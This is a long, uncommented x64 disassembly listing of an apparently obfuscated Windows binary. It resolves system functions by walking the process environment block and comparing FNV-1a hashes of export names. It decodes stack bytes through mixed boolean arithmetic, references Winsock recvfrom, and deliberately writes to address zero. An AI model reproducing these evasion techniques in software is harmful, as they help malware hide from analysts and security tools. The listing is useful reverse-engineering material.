add r10b, 0x7b
mov al, r10b
and al, r8b
add al, al
sub r10b, al
sub r10b, 0x5d
add r10b, r8b
movzx eax, r10b
mov byte [rbp + r9 + 0x4b0], al
add r11, r15
add rax, r11
sub r9, rax
jmp 0x140109c62
lea ecx, [r9 + 0x51]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x37
jmp 0x140109c34
lea ecx, [r9 + 0x2b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2d
jmp 0x140109c14
mov r10b, r9b
lea ecx, [r10 + 0x67]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x2f
sub r10b, 0x49
mov al, r10b
and al, r8b
add al, al
sub r10b, al
add r10b, r8b
sub r10b, r15b
mov byte [rbp + r9 + 0x4b0], r10b
jmp 0x140109bfa
lea ecx, [r9 + 0x41]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x39
add r11, r15
jmp 0x140109c14
lea ecx, [r9 - 0x21]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x19
sub r9, r15
jmp 0x140109cbd
lea ecx, [r9 + 0x1b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x43
add rbx, r11
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140109cbd
movabs rcx, 0x9e5458755e4aef5
add rcx, r9
and dl, cl
add dl, dl
mov dil, r8b
sub dil, dl
add dil, 0x4d
add dil, cl
mov dl, r9b
sub dl, sil
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x4b0], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140109cae
movabs rax, 0x9f89901e00560293
add rax, r9
and dl, al
add dl, dl
sub r8b, dl
lea edi, [rax + r8]
sub dil, 5
movzx eax, byte [rbp + r9 + 0x4b0]
add rax, r11
add r9, rax
add r9, r15
jmp 0x1401094ec
add r9b, 0x13
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea edi, [r8 + r9]
add dil, 0x7b
jmp 0x1401094d9
lea rdx, [rbp + 0x16ded9c]
jmp 0x140109cfa
lea rdx, [rbp + 0x7543cd]
jmp 0x140109cfa
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x490]
call fcn.140051148
mov rcx, rax
call fcn.140146738
mov rdx, qword [0x14017c650]
test rdx, rdx
jne 0x140109e69
mov esi, r12d
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140109d80
psrldq xmm0, 8
movq rdx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x140109d72
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x140109d61
cmp r9d, esi
jne 0x140109e5a
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140109e5a
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140109e5a
mov edi, dword [r11 + 0x20]
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r10]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x140109dd5
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x140109dc8
cmp r8d, r14d
je 0x140109dea
test ebx, ebx
jne 0x140109db3
jmp 0x140109e5a
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x140109e62
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140109e62
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140109e2b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140109e1d
jmp 0x140109e40
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x140109e33
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140109d35
mov qword [0x14017c650], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x14017c6f0]
test rbx, rbx
jne 0x140109fda
mov esi, r12d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140109eeb
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140109edd
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140109ecc
cmp r8d, esi
jne 0x140109fbb
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140109fbb
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140109fbb
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140109f3f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140109f34
cmp edx, r14d
je 0x140109f55
test r11d, r11d
jne 0x140109f1f
jmp 0x140109fbb
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140109fd3
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x140109fd3
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x140109faf
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x140109f8c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x140109fa2
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140109fd0
cmp qword [rax + 0x30], r12
jne 0x140109ea0
mov rbx, r12
mov qword [0x14017c6f0], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14017c6e8]
test rdx, rdx
jne 0x14010a151
mov esi, r12d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010a062
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010a054
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010a043
cmp r8d, esi
jne 0x14010a132
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010a132
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010a132
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010a0b6
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010a0ab
cmp edx, r14d
je 0x14010a0cc
test r11d, r11d
jne 0x14010a096
jmp 0x14010a132
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010a14a
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14010a14a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010a126
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010a103
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010a119
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010a147
cmp qword [rax + 0x30], r12
jne 0x14010a017
mov rdx, r12
mov qword [0x14017c6e8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6e0]
test rdx, rdx
jne 0x14010a2bf
mov esi, r12d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010a1d0
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010a1c2
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010a1b1
cmp r8d, esi
jne 0x14010a2a0
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010a2a0
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010a2a0
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010a224
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010a219
cmp edx, r14d
je 0x14010a23a
test r11d, r11d
jne 0x14010a204
jmp 0x14010a2a0
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010a2b8
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14010a2b8
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010a294
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010a271
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010a287
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010a2b5
cmp qword [rax + 0x30], r12
jne 0x14010a185
mov rdx, r12
mov qword [0x14017c6e0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6d8]
test rdx, rdx
jne 0x14010a42d
mov esi, r12d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010a33e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010a330
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010a31f
cmp r8d, esi
jne 0x14010a40e
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010a40e
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010a40e
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010a392
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010a387
cmp edx, r14d
je 0x14010a3a8
test r11d, r11d
jne 0x14010a372
jmp 0x14010a40e
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010a426
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14010a426
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010a402
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010a3df
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010a3f5
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010a423
cmp qword [rax + 0x30], r12
jne 0x14010a2f3
mov rdx, r12
mov qword [0x14017c6d8], rdx
xor ecx, ecx
call rdx
cmp qword [0x14017c6d0], r12
jne 0x14010a59a
mov esi, r12d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010a4a9
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010a49b
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010a48a
cmp r8d, esi
jne 0x14010a57b
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14010a57b
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14010a57b
mov ebx, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14010a4fd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010a4f2
cmp edx, r14d
je 0x14010a513
test r9d, r9d
jne 0x14010a4dd
jmp 0x14010a57b
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14010a593
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14010a593
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x14010a56e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x14010a54a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x14010a561
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010a590
cmp qword [rax + 0x30], r12
jne 0x14010a45e
mov r9, r12
mov qword [0x14017c6d0], r9
mov r8, qword [0x14017c700]
test r8, r8
jne 0x14010a612
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r9d, 0x811c9dc5
cmp rcx, rdx
je 0x14010a5f7
movsx eax, byte [rcx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010a5d8
cmp r9d, 0x610c0de3
je 0x14010a668
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x14010a608
cmp qword [rax + 0x30], r12
jne 0x14010a5bd
mov r8, r12
mov qword [0x14017c700], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r12d
mov r11d, dword [r10 + r8 + 0x20]
mov ebx, 1
mov eax, r9d
lea rcx, [r8 + rax*4]
mov edx, dword [rcx + r11]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rbx
test al, al
je 0x14010a663
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rbx
test al, al
jne 0x14010a647
cmp ecx, 0xe463da3c
je 0x14010a66e
add r9d, ebx
jmp 0x14010a62b
mov r8, qword [r8 + 0x30]
jmp 0x14010a60b
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14017c778]
xor ebx, ebx
test r10, r10
jne 0x14010a810
mov esi, ebx
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010a70e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010a700
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010a6ef
cmp r8d, esi
jne 0x14010a7f1
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r9d, eax
add r9, r11
shr rax, 0x20
cmp r9, r11
je 0x14010a7f1
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x14010a7f1
mov ebx, dword [r9 + 0x20]
dec r10d
lea rdx, [rbx + r10*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x14010a762
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010a757
cmp edx, r14d
je 0x14010a77a
test r10d, r10d
jne 0x14010a742
xor ebx, ebx
jmp 0x14010a7f1
mov r8d, dword [r9 + 0x1c]
add r8, r11
mov edx, dword [r9 + 0x24]
add rdx, r11
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r11
cmp r10, r9
jbe 0x14010a883
lea rcx, [r9 + rax]
cmp r10, rcx
jae 0x14010a883
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14010a7d0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14010a7b9
add r10, rcx
xor ebx, ebx
jmp 0x14010a7e7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14010a7d7
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010a806
cmp qword [rax + 0x30], rbx
jne 0x14010a6c3
mov r10, rbx
mov qword [0x14017c778], r10
lea r9, [rbp + 0x578]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x14017c6f8]
test r8, r8
jne 0x14010a9a0
mov esi, ebx
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010a8a6
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010a898
xor ebx, ebx
jmp 0x14010a809
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010a887
cmp r8d, esi
jne 0x14010a981
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14010a981
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x14010a981
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14010a8fa
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010a8ef
cmp edx, r14d
je 0x14010a912
test r11d, r11d
jne 0x14010a8da
xor ebx, ebx
jmp 0x14010a981
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r10
cmp r8, r9
jbe 0x14010a999
lea rcx, [r9 + rax]
cmp r8, rcx
jae 0x14010a999
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14010a960
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x14010a949
add r8, rcx
xor ebx, ebx
jmp 0x14010a977
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x14010a967
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010a996
cmp qword [rax + 0x30], rbx
jne 0x14010a857
mov r8, rbx
mov qword [0x14017c6f8], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
xor r12d, r12d
mov sil, 0x54
call fcn.140153098
test al, al
je 0x14010bf02
mov byte [rbp + 0x90], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x91], xmm0
mov word [rbp + 0xa1], ax
mov dil, byte [rsp + 0x50]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r10, qword [rax]
mov r9, r12
cmp r9, 0x13
jae 0x14010b237
movzx r8d, byte [rbp + r9 + 0x90]
mov edx, r8d
cmp rbx, r9
ja 0x14010b22e
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010aa47
movabs rcx, 0x352ddab4aac75631
add rcx, r9
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x57
jmp 0x14010aa81
je 0x14010b1d0
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010b182
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14010b159
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010b135
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14010b114
cmp r10, r9
ja 0x14010b225
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x14010aaaa
lea ecx, [r9 + 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
jmp 0x14010aaeb
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14010b0d9
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010b0c1
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14010b0a6
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14010b05b
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010b03e
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14010acff
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x14010ace2
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14010acc7
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x14010acac
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14010ac8f
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x14010aaf8
mov rbx, rax
lea r10, [rax + 0x10]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x14010b209
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x14010abc4
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14010ac75
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x14010ac52
mov rbx, rax
lea r10, [rax + 5]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x14010ac34
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14010ac17
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14010abfc
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x14010abe1
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x14010aaf8
mov rbx, rax
lea r10, [rax + 0x80]
jmp 0x14010aaf8
lea edx, [r9 + 0x39]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x71
add dil, dl
jmp 0x14010aa81
lea ecx, [r9 - 0x3a]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6a
jmp 0x14010b12a
lea ecx, [r9 - 0x60]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x14010b16f
lea edx, [r9 - 0x24]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
mov r11b, r9b
jmp 0x14010b073
lea edx, [r9 + 0x18]
mov ecx, Ordinal_45
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010b1ec
lea ecx, [r9 + 0x23]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0xb
mov byte [rbp + r9 + 0x90], dil
jmp 0x14010b1fb
lea edx, [r9 - 3]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x15
jmp 0x14010ad21
mov r11b, r9b
lea edx, [r11 + 0x5a]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x76
jmp 0x14010b073
lea ecx, [r9 - 0x6a]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1a
jmp 0x14010b16f
lea ecx, [r9 + 0x70]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x14010b12a
lea edx, [r9 + 0xe]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x62
mov r11b, r9b
jmp 0x14010b0f1
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x14010adb7
lea edx, [r9 + 0x31]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x57
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0xa
je 0x14010b029
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x14010ae78
lea edx, [r9 - 0x53]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x45
add dil, dl
cmp rbx, 0x1000
jae 0x14010afe0
lea rax, [r10 + 0x1000]
cmp rbx, rax
jbe 0x14010af15
lea edx, [r9 - 0x4e]
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r10, 6
jb 0x14010ac68
mov r11b, r9b
lea edx, [r11 - 0x7a]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx + rcx]
sub dil, sil
jmp 0x14010b0f4
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010addb
lea ecx, [r9 + 0xa]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x46
jmp 0x14010b1ec
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010adff
lea edx, [r9 + 0x6c]
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
